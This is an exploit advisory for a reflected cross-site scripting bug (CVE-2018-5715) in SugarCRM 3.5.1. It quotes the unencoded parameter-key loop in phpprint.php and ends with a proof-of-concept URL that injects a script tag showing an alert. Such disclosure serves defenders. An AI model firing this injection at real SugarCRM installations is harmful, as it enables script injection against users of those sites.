SugarCRM 3.5.1 Cross Site Scripting

2018.01.18
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: sugarCRM 3.5.1 XSS refeclted # Date: 16/01/2017 # Exploit Author: Guilherme Assmann # Vendor Homepage: https://www.sugarcrm.com/ # Version: 3.5.1 # Tested on: kali linux, windows 7, 8.1, 10, ubuntu - Firefox # Download https://sourceforge.net/projects/sugarcrm/files/SugarCRM%20Release%20Archive/Sugar%20Suite%203.5.1/ # CVE: CVE-2018-5715 More informations: https://m4k4br0.github.io/sugarcrm-xss/ The vulnerability are in the key parameter of phpprint.php 32 foreach ($_GET as $key => $val) { 33 if ($key != "print") { 34 if (is_array($val)) { 35 foreach ($val as $k => $v) { 36 $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&"; 37 } 38 } 39 else { 40 $query_string .= "{$key}=" . urlencode($val) . "&"; 41 } 42 } 43 } the $key variable are not encoded, this permit that XSS more easy --------------------------------------------------------------------- Poc: http://vulnerable/index.php?action=Login&module=Users&print=a&"/><script>alert('xss')</script>


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